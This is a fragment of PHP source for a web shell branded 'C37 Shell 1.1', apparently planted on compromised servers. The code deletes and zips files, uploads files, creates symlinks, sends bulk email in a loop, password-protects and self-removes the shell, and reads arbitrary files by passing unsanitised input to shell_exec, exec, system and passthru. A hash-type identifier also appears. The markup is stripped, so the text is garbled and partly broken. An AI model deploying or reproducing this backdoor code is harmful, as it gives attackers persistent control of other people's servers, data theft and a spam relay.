  32. CRC-32B
  33. GHash-32-3
  34. GHash-32-3
  35. '; } } elseif ($StrLen === 13) { if (preg_match('/^[0-9a-zA-Z\/.]$/',$_POST['hash'])) { echo '
  36. DES (Unix)
  37. '; } } elseif ($StrLen === 16) { if (CheckHEX($_POST['hash'])) { echo '
  38. MySQL
  39. '; } } elseif ($StrLen === 4) { if (CheckHEX($_POST['hash'])) { echo '
  40. CRC-16
  41. CRC-16-CCITT
  42. FCS-16
  43. '; } } elseif ($StrLen === 34) { if (preg_match('/^\$1\$[0-9a-zA-Z\/.]{8}\$[0-9a-zA-Z\/.]{22} $/',$_POST['hash'])) { echo '
  44. MD5 (Unix)
  45. '; } elseif (preg_match('/^\$P\$B[0-9a-zA-Z\/.]$/',$_POST['hash'])) { echo '
  46. MD5(WordPress)
  47. '; } elseif (preg_match('/^\$H\$9[0-9a-zA-Z\/.]$/',$_POST['hash'])) { echo '
  48. MD5(PhpBB3)
  49. '; } } elseif ($StrLen === 128) { if (CheckHEX($_POST['hash'])) { echo '
  50. SHA-512
  51. WHIRLPOOL
  52. SALSA20
  53. '; } } elseif ($StrLen === 96) { if (CheckHEX($_POST['hash'])) { echo '
  54. SHA-384
  55. '; } } elseif ($StrLen === 48) { if (CheckHEX($_POST['hash'])) { echo '
  56. Haval192
  57. Haval192_4
  58. Haval192_5
  59. Tiger192
  60. Tiger2
  61. SALSA10
  62. '; } } elseif ($StrLen === 56) { if (CheckHEX($_POST['hash'])) { echo '
  63. Haval224
  64. Haval244_3
  65. Haval244_4
  66. SHA224
  67. '; } if (CheckBase64($_POST['hash'])) { echo '
  68. RipeMD320 (Base64)
  69. '; } } elseif ($StrLen === 64) { if (CheckHEX($_POST['hash'])) { echo '
  70. SNEFRU256
  71. SHA-256
  72. RipeMD256
  73. Panama
  74. Haval256
  75. Haval256_3
  76. Haval256_4
  77. Haval256_5
  78. '; } elseif (preg_match('/^[0-9a-zA-Z+\/.]+$/',$_POST['hash'])) { echo '
  79. SHA384 (Base64)
  80. '; } } elseif ($StrLen === 37) { if (preg_match('/^\$apr1\$[0-9a-zA-Z\/.]{8}\$[0-9a-zA-Z\/.]{22} $/',$_POST['hash'])) { echo '
  81. MD5 (APR)
  82. '; } } elseif ($StrLen === 80) { if (CheckHEX($_POST['hash'])) { echo '
  83. RipeMD320
  84. '; } } elseif ($StrLen === 24) { if (CheckBase64($_POST['hash'])) { echo '
  85. Haval128 (Base64)
  86. MD2 (Base64)
  87. MD4 (Base64)
  88. MD5 (Base64)
  89. RipeMD128 (Base64)
  90. SNEFRU128 (Base64)
  91. Tiger128 (Base64)
  92. '; } } elseif ($StrLen === 28) { if (preg_match('/^[0-9a-zA-Z+\/.]+=$/',$Hash)) { echo '
  93. SHA-1 (Base64)
  94. Haval160 (Base64)
  95. RipeMD160 (Base64)
  96. Tiger160 (Base64)
  97. '; } } elseif ($StrLen === 44) { if (preg_match('/^[0-9a-zA-Z+\/.]+=$/',$Hash)) { echo '
  98. Haval256 (Base64)
  99. RipeMD256 (Base64)
  100. SHA256 (Base64)
  101. SNEFRU256 (Base64)
  102. '; } } elseif ($StrLen === 88) { if (CheckBase64($_POST['hash'])) { echo '
  103. SHA512 (Base64)
  104. WHIRLPOOL (Base64)
  105. '; } } elseif ($StrLen === 9) { if (is_numeric($_POST['hash'])) { echo '
  106. Elf-32
  107. '; } } echo '
'; } echo '
'; } elseif ($_GET['action'] === 'X') { if (isset($_POST['F'])) { switch($_REQUEST['val']) { case 1:{ if (is_array($_REQUEST['F'])) { echo '

Delete Files

'; foreach ($_REQUEST['F'] AS $File) { echo ''; } echo '
',$File,'[+'; } else { echo 'red">[-'; } echo ']
'; } else { if (unlink($_REQUEST['F'])) { echo 'File was successfully Deleted.'; } else { echo 'Error while deleting file.
';GetLastError(); } } } break; case 3: { if (class_exists('ZipArchive')) { $Zip = new ZipArchive; for (;;) { $Archive = 'ZippedFiles' . md5(microtime()) . '.zip'; if (!file_exists($Archive)) { break; } } if ($Zip->open($Archive,ZIPARCHIVE::CREATE) === TRUE) { foreach ($_POST['F'] AS $File) { $Zip->addFile($File); } $Zip->close(); echo 'Zip Archive was successfully created. (',$Archive,')
)'; } else { echo 'Could not create a ZIP Archive'; } } else { echo 'The ZipArchive Class does not exist'; } } break; default: { echo 'Invalid Operation'; } } } else { echo 'Choose files to delete.'; } } elseif ($_GET['action'] === 'selfremove') { if (unlink(__FILE__)) { echo 'Shell was removed successfully.'; } else { echo 'Error while removing shell, Could not delete the file.';GetLastError(); } } elseif ($_GET['action'] === 'mailer') { $Func1 = function_exists('mail'); $Func2 = function_exists('imap_mail'); if ($Func1||$Func2) { if (isset($_POST['To'])) { $Suc = TRUE; $HowMany = (int)$_POST['HowMany'] - 1; if ($Func1) { if (mail($_REQUEST['To'],$_REQUEST['Sub'],$_REQUEST['Message'],$_REQUEST['Heads'])) { echo 'E-Mail was sent successfully!'; } else { echo 'Error While Sending Mail.';GetLastError(); echo '
'; $Suc = FALSE; } if ($Suc = TRUE && $HowMany > 1) { for ($i = 0; $i <= $HowMany; $i++) { mail($_POST['To'],$_POST['Sub'],$_POST['Message'],$_POST['Heads']); } } } else { if (imap_mail($_REQUEST['To'],$_REQUEST['Sub'],$_REQUEST['Message'],$_REQUEST['Heads'])) { echo 'E-Mail was sent successfully!'; } else { echo 'Error While Sending Mail.';GetLastError(); echo '
'; $Suc = FALSE; } if ($Suc = TRUE && $HowMany > 1) { for ($i = 0; $i <= $HowMany; $i++) { imap_mail($_POST['To'],$_POST['Sub'],$_POST['Message'],$_POST['Heads']); } } } } echo '
Send E-Mail
Sender E-Mail:
Recipient\'s E-Mail:
Subject:

Message:


Additional Headers:


How many Times:

'; } else { echo 'Can\'t Send E-Mail From this Server.'; } } elseif ($_GET['action'] === 'passset') { if ($Auth === FALSE) { if (!empty($_POST['password'])) { if (!function_exists('file_get_contents') && (function_exists('fopen') && (function_exists('fread') || function_exists('fgets') || function_exists('fgetc')))) { if (function_exists('fread')) { function file_get_contents($File) { $handle = fopen($File, 'rb'); $contents = fread($handle,sprintf('%u',filesize($File))); fclose($handle); return $contents; } } elseif (function_exists('fgets')) { function file_get_contents($File) { $handle = fopen($File, 'rb'); $contents = ''; $Line = ''; do { $Line = fgets($handle,sprintf('%u',filesize($File))); $contents .= $Line; } while ($Line !== FALSE); fclose($handle); return $contents; } } else { function file_get_contents($File) { $handle = fopen($File, 'rb'); $contents = ''; $Character = ''; do { $Character = fgetc($handle,sprintf('%u',filesize($File))); $contents .= $Character; } while ($Character !== FALSE); fclose($handle); return $contents; } } } elseif (!function_exists('file_get_contents')) { echo 'Could not set password (no available functions).'; $BAD = TRUE; } if (!function_exists('file_put_contents') && (function_exists('fopen') && (function_exists('fputs') || function_exists('fwrite') || function_exists('fputcsv')))) { if (function_exists('fwrite')) { function file_get_contents($File,$StringT) { $handle = fopen($File, 'wb'); $ret = fwrite($handle,$StringT); fclose($handle); return $ret; } } elseif (function_exists('fputs')) { function file_get_contents($File,$StringT) { $handle = fopen($File, 'wb'); $ret = fputs($handle,$StringT); fclose($handle); return $ret; } } else { function file_get_contents($File,$StringT) { $handle = fopen($File, 'wb'); $ret = fputcsv($handle,array($StringT)); fclose($handle); return $ret; } } } elseif (!function_exists('file_put_contents')) { echo 'Could not set password (no available functions).'; $BAD = TRUE; } if (!isset($BAD)) { $ShellContents = file_get_contents(__FILE__); if (file_put_contents(__FILE__,substr_replace($ShellContents,'$Auth = TRUE; $Password = \''.sha1(md5($_POST['password'])).'\';',strpos($ShellContents,'$Auth = FALSE;'),14)) != 0) { echo 'Password set.'; } else { echo 'An error occured, the password was not set.'; GetLastError(); } } } else { echo '
Set shell password:

Your password will be MD5 hashed & SHA1 hashed before it will be written to the shell file.
'; } } else { if (!empty($_POST['removep'])) { if (!function_exists('file_get_contents') && (function_exists('fopen') && (function_exists('fread') || function_exists('fgets') || function_exists('fgetc')))) { if (function_exists('fread')) { function file_get_contents($File) { $handle = fopen($File, 'rb'); $contents = fread($handle,sprintf('%u',filesize($File))); fclose($handle); return $contents; } } elseif (function_exists('fgets')) { function file_get_contents($File) { $handle = fopen($File, 'rb'); $contents = ''; $Line = ''; do { $Line = fgets($handle,sprintf('%u',filesize($File))); $contents .= $Line; } while ($Line !== FALSE); fclose($handle); return $contents; } } else { function file_get_contents($File) { $handle = fopen($File, 'rb'); $contents = ''; $Character = ''; do { $Character = fgetc($handle,sprintf('%u',filesize($File))); $contents .= $Character; } while ($Character !== FALSE); fclose($handle); return $contents; } } } elseif (!function_exists('file_get_contents')) { echo 'Could not remove password (no available functions).'; $BAD = TRUE; } if (!function_exists('file_put_contents') && (function_exists('fopen') && (function_exists('fputs') || function_exists('fwrite') || function_exists('fputcsv')))) { if (function_exists('fwrite')) { function file_get_contents($File,$StringT) { $handle = fopen($File, 'wb'); $ret = fwrite($handle,$StringT); fclose($handle); return $ret; } } elseif (function_exists('fputs')) { function file_get_contents($File,$StringT) { $handle = fopen($File, 'wb'); $ret = fputs($handle,$StringT); fclose($handle); return $ret; } } else { function file_get_contents($File,$StringT) { $handle = fopen($File, 'wb'); $ret = fputcsv($handle,array($StringT)); fclose($handle); return $ret; } } } elseif (!function_exists('file_put_contents')) { echo 'Could not remove password (no available functions).'; $BAD = TRUE; } if (!isset($BAD)) { $ShellContents = file_get_contents(__FILE__); if (file_put_contents(__FILE__,substr_replace($ShellContents,'$Auth = FALSE;',strpos($ShellContents,'$Auth = TRUE; $Password = \''.$Password.'\';'),70)) != 0) { echo 'Password removed.'; $_SESSION['SLOGIN'] = NULL; } else { echo 'An error occured, the password was not removed.'; GetLastError(); } } } else { echo '
Remove the shell password?
'; } } } } else { if ($ShowFiles) { if (isset($_GET['act'])) { if ($_GET['act'] === 'Upload') { if (!isset($_FILES)) { $_FILES = $HTTP_POST_FILES; } if (move_uploaded_file($_FILES['File']['tmp_name'],$_FILES['File']['name'])) { echo '\'',htmlspecialchars($_FILES['File']['name']),'\' Was uploaded successfully.'; } else { echo 'Could not transfer the uploaded file from \'',htmlspecialchars($_FILES['File']['tmp_name']),'\' to \'',htmlspecialchars($CDIR.$_FILES['File']['name']),'\'.

'; if (isset($_FILES['File']['error'])) { if ($_FILES['File']['error'] === 1) { echo 'The uploaded file exceeds the upload_max_filesize directive in php.ini.'; } elseif ($_FILES['File']['error'] === 2) { echo 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.'; } elseif ($_FILES['File']['error'] === 3) { echo 'The uploaded file was only partially uploaded.'; } elseif ($_FILES['File']['error'] === 4) { echo 'No file was uploaded.'; } elseif ($_FILES['File']['error'] === 6) { echo 'Missing a temporary folder.'; } elseif ($_FILES['File']['error'] === 7) { echo 'Failed to write file to disk.'; } elseif ($_FILES['File']['error'] === 8) { echo 'A PHP extension stopped the file upload. PHP does not provide a way to ascertain which extension caused the file upload to stop;'; } echo '

'; } echo '[php.ini]
file_uploads: ',ini_get('file_uploads'),' | upload_max_filesize: ',ini_get('upload_max_filesize'),' | max_file_uploads: ',ini_get('max_file_uploads'),'
'; GetLastError(); } if (isset($_FILES['File2'])) { echo '
'; $i = 2; $File = ''; while (isset($_FILES['File'.$i])) { $File = $_FILES['File'.$i]; if (move_uploaded_file($File['tmp_name'],$File['name'])) { echo '\'',htmlspecialchars($File['name']),'\' Was uploaded successfully.
'; } else { if (!isset($ErrorOccured)) { $ErrorOccured = TRUE; } echo 'Could not transfer the uploaded file from \'',htmlspecialchars($File['tmp_name']),'\' to \'',htmlspecialchars($CDIR.$File['name']),'\'.
'; if (isset($File['error'])) { if ($File['error'] === 1) { echo 'The uploaded file exceeds the upload_max_filesize directive in php.ini.'; } elseif ($File['error'] === 2) { echo 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.'; } elseif ($File['error'] === 3) { echo 'The uploaded file was only partially uploaded.'; } elseif ($File['error'] === 4) { echo 'No file was uploaded.'; } elseif ($File['error'] === 6) { echo 'Missing a temporary folder.'; } elseif ($File['error'] === 7) { echo 'Failed to write file to disk.'; } elseif ($File['error'] === 8) { echo 'A PHP extension stopped the file upload. PHP does not provide a way to ascertain which extension caused the file upload to stop;'; } echo '

'; } if (isset($ErrorOccured)) { echo '
[php.ini]
file_uploads: ',ini_get('file_uploads'),' | upload_max_filesize: ',ini_get('upload_max_filesize'),' | max_file_uploads: ',ini_get('max_file_uploads'),'
'; } GetLastError(); } ++$i; } } } elseif ($_GET['act'] === 'FileMake') { if (!empty($_POST['fm'])) { echo 'File Making:
'; $CanMake = TRUE; $Name = $_POST['fm']; if (strpos($_POST['fm'], '.') !== FALSE) { $Name = substr($_POST['fm'],0,strlen($_POST['fm'])-strlen(strrchr($_POST['fm'],'.'))-1); } $WinReservedChars = array('<','>',':','"','/','\\','|','?','*'); if ($IsWIN) { foreach ($WinReservedChars AS $ResC) { if (strpos($_POST['fm'],$ResC) !== FALSE) { echo 'Reserved Windows filename character: \'',$ResC,'\'
'; $CanMake = FALSE; } } foreach (range(0x00,0x1F) AS $ResC) { if (strpos($_POST['fm'],$ResC) !== FALSE) { echo 'Reserved Windows filename character: 0x',dechex($ResC),'
'; $CanMake = FALSE; } } if ($CanMake && in_array($Name,array('CON','PRN','AUX','NUL','COM1','COM2','COM3','COM4','COM5','COM6','COM7','COM8','COM9','LPT1','LPT2','LPT3','LPT4','LPT5','LPT6','LPT7','LPT8','LPT9'))) { echo 'Do not use the following reserved device names for the name of a file:
CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. Also avoid these names followed immediately by an extension; for example, NUL.txt is not recommended.'; $CanMake = FALSE; } else { if ($_POST['fm'][strlen($_POST['fm'])-1] === ' ' || $_POST['fm'][strlen($_POST['fm'])-1] === '.') { echo 'Do not end a file or directory name with a space or a period. Although the underlying file system may support such names, the Windows shell and user interface does not. However, it is acceptable to specify a period as the first character of a name. For example, ".temp".
The file will be created with the name \'',substr($_POST['fm'],0,strlen($_POST['fm'])-1),'\'.
'; $RmLast = TRUE; } } } else { if (strpos($_POST['fm'],0x00)!==FALSE || strpos($_POST['fm'],'/')!==FALSE) { echo 'The filename you entered contains a reserved UNIX filename character (\'/\',0x00 [NUL]).
'; $CanMake = FALSE; } } if ($CanMake && is_file($_POST['fm'])) { echo '\'',htmlspecialchars($_POST['fm']),'\' - File Already exists.'; } elseif ($CanMake) { if (isset($RmLast)) { $_POST['fm'] = substr($_POST['fm'],0,strlen($_POST['fm'])-1); } $FILE = fopen($_POST['fm'],'x'); echo '\'',htmlspecialchars($_POST['fm']),'\' - File was created.'; } else { echo 'color="red">[File ',realpath($CDIR.$_POST['fm']),' could not be created]'; GetLastError(); } fclose($FILE); } } else { echo 'Please enter a File Name.'; } } elseif ($_GET['act'] === 'DirMake') { if (is_dir($_POST['dm'])) { echo '\'',htmlspecialchars($_POST['dm']),'\' - Directory Already exists.'; } else { echo '\'',htmlspecialchars($_POST['dm']),'\' - Directory was created.'; } else { echo 'color="red">[Directory ',realpath($CDIR.$_POST['dm']),' could not be created]'; GetLastError(); } } } elseif ($_GET['act'] === 'Link') { if ($_POST['type'] === 's') { if (function_exists('symlink') && symlink($_POST['To'],$_POST['Name'])) { echo 'Symbolic Link \'',$_POST['Name'],'\' to \'',$_POST['To'],'\' was successfully created.'; } else { echo 'Could not create Symbolic Link. (symlink() does not exist or did not succeed)'; } } else { if (function_exists('link') && link($_POST['To'],$_POST['Name'])) { echo 'Hard Link \'',$_POST['Name'],'\' to \'',$_POST['To'],'\' was successfully created.'; } else { echo 'Could not create Hard Link. (link() does not exist or did not succeed)'; } } } echo '

'; } $dir = array(); $i = 0; //if (function_exists('scandir')) { $dir = scandir('.'); } //if (function_exists('opendir') && function_exists('readdir')) { $Handle = opendir('.'); while ($dir[$i++] = readdir($Handle)) { } closedir($Handle); array_pop($dir); } //if (function_exists('dir') && $Handle = dir('.')) { while ($dir[$i++] = $Handle->read()) { } $Handle->close(); array_pop($dir); } if (function_exists('glob')) { $dir = glob('*',GLOB_NOSORT); $GLOB = TRUE; } if (isset($_GET['sort'])) { if ($_GET['sort'] === 'date') { array_multisort(array_map('filemtime', $dir), SORT_DESC, $dir); } } $dirCount = count($dir); $i = 0; if (($dir === FALSE) || (isset($GLOB) && !realpath('..'))) { echo '
:: Error while Loading Files - Invalid location\Function failure ::

';GetLastError(); echo '


'; } else { /*white-space:pre so no indentions*/ $S = 0; $R = 0; $F = 0; $Z = 0; $Dirs = array(); $Files = array(); if (strpos($_SERVER['HTTP_USER_AGENT'],'Firefox') !== FALSE && strpos($_SERVER['HTTP_USER_AGENT'],'Windows') !== FALSE) { $ImgSRC = 'moz-icon://'; } else { $ImgSRC = '?action=img&ext='; } if (isset($_GET['search'])) { echo '

Search results:

'; } echo '
',"\r\n"; if (isset($GLOB) && !isset($_GET['search'])) { $Dot = '.'; $DDot = '..'; echo ''; } if (isset($_GET['search'])) { if (!isset($GLOB) && function_exists('array_search')) { $DOTSearch = array_search('.',$dir); if ($DOTSearch !== FALSE) { unset($dir[$DOTSearch]); ++$i; } $DOTSearch = array_search('..',$dir); if ($DOTSearch !== FALSE) { unset($dir[$DOTSearch]); ++$i; } } $Valid = array(); $dirCount = count($dir); $tempcounter = 0; if (isset($_GET['casein'])) { $_GET['search'] = strtolower($_GET['search']); } if ($_GET['type'] === 'regexp') { for ($k = 0;$i < $dirCount;$i++) { if (preg_match($_GET['search'],$dir[$i])) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'lengthless') { for ($k = 0;$i < $dirCount;$i++) { if (strlen($dir[$i]) < $_GET['search']) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'lengthabove') { for ($k = 0;$i < $dirCount;$i++) { if (strlen($dir[$i]) > $_GET['search']) { $Valid[$k++] = $i; } } } elseif (isset($_GET['casein'])) { if ($_GET['type'] === 'exact') { for ($k = 0;$i < $dirCount;$i++) { if ($_GET['search'] === strtolower($dir[$i])) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'begins') { for ($k = 0;$i < $dirCount;$i++) { if (strpos(strtolower($dir[$i]),$_GET['search']) === 0) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'nbegins') { for ($k = 0;$i < $dirCount;$i++) { if (strpos(strtolower($dir[$i]),$_GET['search']) !== 0) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'ends') { $Length = strlen($_GET['search']); for ($k = 0;$i < $dirCount;$i++) { if (preg_match('/'.preg_quote($_GET['search'],'/i').'$/',$dir[$i])) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'nends') { $Length = strlen($_GET['search']); for ($k = 0;$i < $dirCount;$i++) { if (!preg_match('/'.preg_quote($_GET['search'],'/i').'$/',$dir[$i])) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'nendsbegins') { $Length = strlen($_GET['search']); for ($k = 0;$i < $dirCount;$i++) { if (!preg_match('/.+'.preg_quote($_GET['search'],'/i').'.+$/',$dir[$i])) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'contains') { for ($k = 0;$i < $dirCount;$i++) { if (strpos(strtolower($dir[$i]),$_GET['search']) !== FALSE) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'ncontains') { for ($k = 0;$i < $dirCount;$i++) { if (strpos(strtolower($dir[$i]),$_GET['search']) === FALSE) { $Valid[$k++] = $i; } } } } elseif (!isset($_GET['casein'])) { if ($_GET['type'] === 'exact') { for ($k = 0;$i < $dirCount;$i++) { if ($_GET['search'] === $dir[$i]) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'begins') { for ($k = 0;$i < $dirCount;$i++) { if (strpos($dir[$i],$_GET['search']) === 0) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'nbegins') { for ($k = 0;$i < $dirCount;$i++) { if (strpos($dir[$i],$_GET['search']) !== 0) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'ends') { $Length = strlen($_GET['search']); for ($k = 0;$i < $dirCount;$i++) { if (preg_match('/'.preg_quote($_GET['search'],'/').'$/',$dir[$i])) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'nends') { $Length = strlen($_GET['search']); for ($k = 0;$i < $dirCount;$i++) { if (!preg_match('/'.preg_quote($_GET['search'],'/').'$/',$dir[$i])) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'nendsbegins') { $Length = strlen($_GET['search']); for ($k = 0;$i < $dirCount;$i++) { if (!preg_match('/.+'.preg_quote($_GET['search'],'/').'.+$/',$dir[$i])) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'contains') { for ($k = 0;$i < $dirCount;$i++) { if (strpos($dir[$i],$_GET['search']) !== FALSE) { $Valid[$k++] = $i; } } } elseif ($_GET['type'] === 'ncontains') { for ($k = 0;$i < $dirCount;$i++) { if (strpos($dir[$i],$_GET['search']) === FALSE) { $Valid[$k++] = $i; } } } } $validCount = count($Valid); for ($k = 0,$l = 0; $tempcounter < $validCount; $tempcounter++) { if (is_file($dir[$Valid[$tempcounter]])) { $Files[$k++] = $Valid[$tempcounter]; } else { $Dirs[$l++] = $Valid[$tempcounter]; } } } else { for ($i = 0,$k = 0,$l = 0; $i < $dirCount; $i++) { if (is_file($dir[$i])) { $Files[$k++] = $i; } else { $Dirs[$l++] = $i; } } } foreach ($Dirs AS $dirFILE) { /*display directories*/ ++$R; echo ''; } foreach ($Files AS $dirFILE) { if (is_link($dir[$dirFILE])) { /*display links*/ ++$L; echo ''; } else { /*display files*/ ++$F; $File = urlencode($dir[$dirFILE]); $eXT = '.:'; if (strpos($dir[$dirFILE], '.') !== FALSE) { $eXT = strrchr($dir[$dirFILE], '.'); } echo ''; } } } echo '
NameSizeLast ModifiedUID/GIDPermsActions
[DIR].
DIR',date('F d Y H:i:s.',filemtime($Dot)),''; $A = filegroup($Dot); $B = fileowner($Dot); echo $B; if (function_exists('posix_getpwuid')) { $PwUID = posix_getpwuid($B); echo ' (',$PwUID['name'],')'; } echo '/',$A; if (function_exists('posix_getgrgid')) { $PwGID = posix_getgrgid($A); if (is_array($PwGID)) { echo ' (',$PwGID['name'],')'; } } echo ''; } elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; } else { echo '>'; } echo $A.'INFO
[DIR]..
DIR',date('F d Y H:i:s.',filemtime($DDot)),''; $A = filegroup($DDot); $B = fileowner($DDot); echo $B; if (function_exists('posix_getpwuid')) { $PwUID = posix_getpwuid($B); echo ' (',$PwUID['name'],')'; } echo '/',$A; if (function_exists('posix_getgrgid')) { $PwGID = posix_getgrgid($A); if (is_array($PwGID)) { echo ' (',$PwGID['name'],')'; } } echo ''; } elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; } else { echo '>'; } echo $A.'INFO
Dir['.$dir[$dirFILE].']
DIR',date('F d Y H:i:s.',filemtime($dir[$dirFILE])).''; $A = filegroup($dir[$dirFILE]); $B = fileowner($dir[$dirFILE]); echo $B; if (function_exists('posix_getpwuid')) { $PwUID = posix_getpwuid($B); echo ' (',$PwUID['name'],')'; } echo '/',$A; if (function_exists('posix_getgrgid')) { $PwGID = posix_getgrgid($A); if (is_array($PwGID)) { echo ' (',$PwGID['name'],')'; } } echo ''; } elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; } else { echo '>'; } echo $A,'INFO
SymLink'; $L = readlink($dir[$dirFILE]); if (is_dir($dir[$dirFILE])) { echo '[',$dir[$dirFILE],']'; } else { echo '',$dir[$dirFILE]; } echo '
LINK -> ',$L; if (linkinfo($L) != -1) { echo ' [Exists]'; } else { echo ' [Exists]'; } echo '',date('F d Y H:i:s.',filemtime($dir[$dirFILE])),''; $A = filegroup($dir[$dirFILE]); $B = fileowner($dir[$dirFILE]); echo $B; if (function_exists('posix_getpwuid')) { $PwUID = posix_getpwuid($B); echo ' (',$PwUID['name'],')'; } echo '/',$A; if (function_exists('posix_getgrgid')) { $PwGID = posix_getgrgid($A); if (is_array($PwGID)) { echo ' (',$PwGID['name'],')'; } } echo ''; } elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; } else { echo '>'; } echo $A.'
',$dir[$dirFILE],'
'; $B = sprintf('%u', filesize($dir[$dirFILE]));while ($B>=1024) { $B/=1024;++$S; }if ($S === 0) { echo $B,' Bytes'; } else {printf('%.3f %s',$B,$T[$S-1]); $S = 0; } echo '',date('F d Y H:i:s.',filemtime($dir[$dirFILE])),''; $A = filegroup($dir[$dirFILE]); $B = fileowner($dir[$dirFILE]); echo $B; if (function_exists('posix_getpwuid')) { $PwUID = posix_getpwuid($B); echo ' (',$PwUID['name'],')'; } echo '/',$A; if (function_exists('posix_getgrgid')) { $PwGID = posix_getgrgid($A); if (is_array($PwGID)) { echo ' (',$PwGID['name'],')'; } } echo ''; } elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; } else { echo '>'; } echo $A,'Download

:: [Listing ',$F+1,' Files'; if ($Z < -1) { if ($F < -1) { echo ', '; } echo $Z+1,'Links'; } if (($R > 2 && !isset($GLOB)) || ($R > 0 && isset($GLOB))) { echo ' and '; if (!isset($GLOB)) { echo $R-1; } else { echo $R+1; } echo ' sub-directories'; } echo ' in the current directory] ::
Check all Uncheck all

Create a new file
Execute command
Create a new directory
Upload file
[ADD]

Try every function to read a file
'; if (isset($_GET['power']) && $_GET['power'] === 'FileRead') { echo '
'; if (is_readable($_POST['value']) && sprintf('%u', filesize($_POST['value'])) > 0) { $File = ''; $File = file_get_contents($_POST['value']); if ($File !== '') { $Suc = TRUE; } else { $Handle = fopen($_POST['value'], 'rb'); $File = fread($Handle,sprintf('%u', filesize($_POST['value']))); if ($File !== '') { $Suc = TRUE; } else { while (!feof($Handle)) { $File = fgets($Handle, 4096); } if ($File !== '') { $Suc = TRUE; } else { fclose($Handle); $AAA = readfile($_POST['value']); if ($AAA !== FALSE) { $Suc = TRUE; } else { while (FALSE !== ($AAA = fgetc($Handle))) { $File .= $AAA; } if ($File !== '') { $Suc = TRUE; } else { fclose($Handle); if (!$IsWIN) { if (function_exists('system') || function_exists('passthru') || function_exists('shell_exec') || function_exists('exec') || function_exists('popen')) { if (function_exists('shell_exec')) { echo htmlspecialchars(shell_exec('cat '.$_POST['value'])); $Suc = TRUE; } elseif (function_exists('exec')) { $ExecArray = array(); exec('cat '.$_POST['value'],$ExecArray); foreach($ExecArray AS $Line) { echo htmlspecialchars($Line); } $Suc = TRUE; } elseif (function_exists('popen')) { $Read=''; $Handle = popen('cat '.$_POST['value'],'r'); while ($Read = fread($Handle,2096)) { echo htmlspecialchars($Read); } pclose($Handle); $Suc = TRUE; } elseif (function_exists('system') && system('cat '.$_POST['value'])) { $Suc = TRUE; } elseif (function_exists('passthru')) { passthru('cat '.$_POST['value']); $Suc = TRUE; } } } else { if (function_exists('system') || function_exists('passthru') || function_exists('shell_exec') || function_exists('exec') || function_exists('popen')) { if (function_exists('shell_exec')) { echo htmlspecialchars(shell_exec('type '.$_POST['value'])); $Suc = TRUE; } elseif (function_exists('exec')) { $ExecArray = array(); exec('type '.$_POST['value'],$ExecArray); foreach($ExecArray AS $Line) { echo htmlspecialchars($Line); } $Suc = TRUE; } elseif (function_exists('popen')) { $Read=''; $Handle = popen('type '.$_POST['value'],'r'); while ($Read = fread($Handle,2096)) { echo htmlspecialchars($Read); } pclose($Handle); $Suc = TRUE; } elseif (function_exists('system')) { system('type '.$_POST['value']); $Suc = TRUE; } elseif (function_exists('passthru')) { passthru('type '.$_POST['value']); $Suc = TRUE; } } } } } } } } if (isset($Suc)) { echo '
'; } else { echo '
Can\'t read file.'; } } else { echo 'File does not exist or is not readable or its size is 0'; } } echo '
Create link

'; } } function GetPerms(&$F) { /*From php.net*/ $perms = fileperms($F); if (($perms&0xC000)==0xC000) { $info='s'; } elseif (($perms&0xA000)==0xA000) { $info='l'; } elseif (($perms&0x8000)==0x8000) { $info='-'; } elseif (($perms&0x6000)==0x6000) { $info='b'; } elseif (($perms&0x4000)==0x4000) { $info='d'; } elseif (($perms&0x2000)==0x2000) { $info='c'; } elseif (($perms&0x1000)==0x1000) { $info='p'; } else { $info='u'; } $info.=(($perms&0x0100) ? 'r':'-'); $info.=(($perms&0x0080) ? 'w':'-'); $info.=(($perms&0x0040) ?(($perms&0x0800) ? 's':'x'):(($perms&0x0800) ? 'S':'-')); $info.=(($perms&0x0020) ? 'r':'-'); $info.=(($perms&0x0010) ? 'w':'-'); $info.=(($perms&0x0008) ?(($perms&0x0400) ? 's':'x' ):(($perms&0x0400) ? 'S':'-')); $info.=(($perms&0x0004) ? 'r':'-'); $info.=(($perms&0x0002) ? 'w':'-'); $info.=(($perms&0x0001) ?(($perms&0x0200) ? 't':'x'):(($perms&0x0200) ? 'T':'-'));return $info; } function GetLastError() { if (function_exists('error_get_last')) { $A = error_get_last(); if ($A!==NULL) { echo '
(error_get_last: [Type]: ',$A['type'],' | [Message]: ',$A['message'],')'; } return; } else { return; } } echo '

-[C37 Shell 1.1] | [ Remote IP: ',$_SERVER['REMOTE_ADDR']; if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { echo ' Forwarded For: ',$_SERVER['HTTP_X_FORWARDED_FOR']; } if (!empty($_SERVER['HTTP_CLIENT_IP'])) { echo ' Client IP: ',$_SERVER['HTTP_CLIENT_IP']; } if (!empty($_SERVER['HTTP_PROXY_USER'])) { echo ' Proxy user: ',$_SERVER['HTTP_PROXY_USER']; } echo ' | CODED BY REACTiON]-